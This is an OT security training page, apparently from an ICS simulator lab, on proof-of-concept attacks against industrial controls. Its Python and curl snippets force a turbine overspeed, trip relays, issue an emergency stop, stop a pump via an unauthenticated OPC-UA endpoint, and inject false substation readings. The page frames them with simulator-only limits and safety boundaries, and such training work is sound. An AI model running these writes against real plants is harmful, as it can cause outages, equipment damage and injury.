Proof of concept exploits: demonstrating impact without destruction

Or: How Ponder showed what could happen without actually making it happen

The delicate balance

The Patrician has a saying about demonstrations of power: the most effective demonstration is the one you never quite have to perform. The credible threat of action is often more valuable than the action itself, particularly when the action in question might accidentally shut down half the city’s power supply or turn a turbine into an unscheduled disassembly event.

Proof of concept development in OT security is the art of proving you could do something catastrophic without actually doing it. This is rather more important in OT than in IT. In IT penetration testing, you might actually exfiltrate data (with permission) or actually compromise systems (in a controlled way) to prove impact. In OT, “actually demonstrating” that you can shut down turbines by shutting down turbines is the sort of thing that gets people hurt, gets you arrested, and gets the entire concept of security testing banned from the facility.

The challenge is demonstrating sufficient proof that stakeholders take findings seriously, without demonstrating so much proof that you cause actual harm.

The simulator’s exploitation techniques

The UU P&L lab provides a safe environment where actual exploitation can be demonstrated without risking actual infrastructure. The hands-on runbooks live in the ICS Access SimLab and will be brought into this repository; they show what these attacks can do using tools already on the attacker machine and standard protocol libraries.

Turbine overspeed via Modbus setpoint write

Raising the governor setpoint above the overspeed threshold triggers a protection event. This is subtler than an emergency stop: it looks like a parameter change, not a command.

from pymodbus.client import ModbusTcpClient

c = ModbusTcpClient('10.10.3.21', port=502)
c.connect()

# HR[0] = governor setpoint in RPM. Overspeed threshold is 3300 RPM.
c.write_register(address=0, value=4000, slave=1)

# Read back to confirm
r = c.read_holding_registers(address=0, count=1, slave=1)
print('governor setpoint now:', r.registers[0])

What it demonstrates:

  • Unauthenticated Modbus write access to a live control register

  • Ability to trigger a protection response that looks like a system fault, not an intrusion

  • No special tools: standard pymodbus library, one write, confirmed by one read

Relay threshold manipulation

Writing the overcurrent threshold register to zero means the relay trips on any measurable current. The breaker opens. The physics engine reflects the loss of load. The trip log records cause code 2 (overcurrent protection), not cause code 6 (remote command). It is the subtlest of the available turbine attacks.

from pymodbus.client import ModbusTcpClient

c = ModbusTcpClient('10.10.3.31', port=502)
c.connect()

# HR[2] = overcurrent threshold. Writing 0 trips on any current.
c.write_register(address=2, value=0, slave=1)

What it demonstrates:

  • Threshold manipulation as an alternative to direct coil writes

  • How a relay’s own protection logic can be used as the weapon

  • Why protection event logs alone are insufficient for forensics

Emergency stop via coil write

The direct approach. Write coil 0 on the turbine PLC to trigger an immediate stop.

from pymodbus.client import ModbusTcpClient

c = ModbusTcpClient('10.10.3.21', port=502)
c.connect()

c.write_coil(address=0, value=True, slave=1)

What it demonstrates:

  • Ability to trigger an emergency stop via a single unauthenticated write

  • Denial of service through production shutdown

  • How easily critical controls respond to network commands

Impact: Emergency stops cause immediate production loss and require restart procedures. The simulator demonstrates this without causing actual downtime.

OPC-UA anonymous method call (umatiGateway)

CVE-2025-27615 removes authentication from the umatiGateway web UI, allowing discovery of the OPC-UA endpoint. Anonymous connection with SecurityMode None then permits method calls on industrial objects.

# Discover the OPC-UA endpoint from the umatiGateway web UI (no auth)
curl http://10.10.5.10/api/endpoint
# Returns: opc.tcp://10.10.5.13:4840

# Connect and call stopPump() using any OPC-UA client library
python3 -c "
import asyncio
from asyncua import Client

async def main():
    async with Client('opc.tcp://10.10.5.13:4840') as client:
        pump_node = await client.nodes.root.get_child(
            ['0:Objects', '2:Pump'])
        result = await pump_node.call_method('2:stopPump')
        print('pump stopped:', result)

asyncio.run(main())
"

What it demonstrates:

  • An unauthenticated web UI exposing a protocol endpoint leads to unauthenticated protocol access

  • OPC-UA method calls are functionally equivalent to issuing commands via the control interface

  • The vulnerability chain is two hops, neither requiring credentials

IEC-104 datapoint injection (substation RTU)

The substation RTU exposes a REST management API with no authentication on port 8080. Writing a value via the API pushes a spontaneous IEC-104 update to any connected SCADA master.

# List current datapoints
curl http://10.10.5.14:8080/datapoints

# Inject a false frequency reading (normal: ~50 Hz; 47.2 Hz triggers under-frequency alarm)
curl -X POST http://10.10.5.14:8080/datapoints/4 \
     -H 'Content-Type: application/json' \
     -d '{"value": 47.2}'

# Create an inconsistent reading: voltage 0 while breaker shows closed
curl -X POST http://10.10.5.14:8080/datapoints/1 \
     -d '{"value": 0.0}'

What it demonstrates:

  • Unauthenticated REST access equivalent to forging sensor readings

  • SCADA and protection systems receive falsified data and may act on it

  • The inconsistency between injected values and physical reality may or may not be caught by operators

Safe exploitation boundaries

Green (safe in simulator):

  • All reconnaissance (Modbus reads, OPC-UA browsing, REST API queries)

  • All vulnerability assessment (enumerate without modifying state)

  • Exploitation scripts against the simulator (no real equipment at risk)

Amber (caution even in simulator):

  • Scripts that modify simulator state (register writes, coil writes)

  • High-volume scanning (could affect simulator performance)

  • Tests that trigger multiple alarm conditions simultaneously

Red (never on production):

  • Any write operation against real equipment

  • Any script that modifies production PLC registers or coils

  • Any testing that could affect physical processes

The simulator lets you practise in Green, understand the risks of Amber, and learn why Red requires explicit written authorisation, verified rollback procedures, and someone with a physical kill switch who is paying attention.

Read-only demonstrations

Before running exploitation scripts, Ponder’s approach was always to demonstrate impact through read-only reconnaissance:

What can be read from the control zone (10.10.3.x) without authentication:

  • Complete turbine PLC register state: IR[0]=RPM, IR[1]=temp_C, IR[2]=pressure_bar, IR[3-4]=voltage, IR[5-6]=current

  • Governor setpoint and protection thresholds on each relay IED

  • Revenue meter readings (line voltage, current, frequency, power, power factor)

  • Trip log history from each protective relay

If read access alone demonstrates that a write is possible via the same protocol (and for Modbus it always does), that is often sufficient to make the case without causing a trip.

Ponder’s approach to PoC development

“Start with reconnaissance. Show what you can read. If you can read everything, stakeholders usually understand that writing is possible too.

“If read access is not convincing enough, demonstrate on the simulator. Show the attack working. Screen recording, saved output, detailed logs. Make it clear this is the simulator, not production.

“Never demonstrate write attacks on production unless you have explicit written approval, the system is in a safe state, someone can physically intervene, you have verified rollback procedures, and you understand the physical consequences.

“And even then, consider whether a simulator demonstration would be sufficient. Usually it is.

“The goal is to prove risk, not to create incidents. The simulator lets you do the former without the latter.”

Related runbooks (in the ICS Access SimLab, to be linked once migrated into this repository):

  • IED relay force-trip: Modbus coil and threshold attack runbooks

  • IEC-104 false readings: REST API injection runbook

  • umati pump sabotage: OPC-UA method call runbook

See also Internet entry and the triple-homed pivot for complete attack chain scenarios.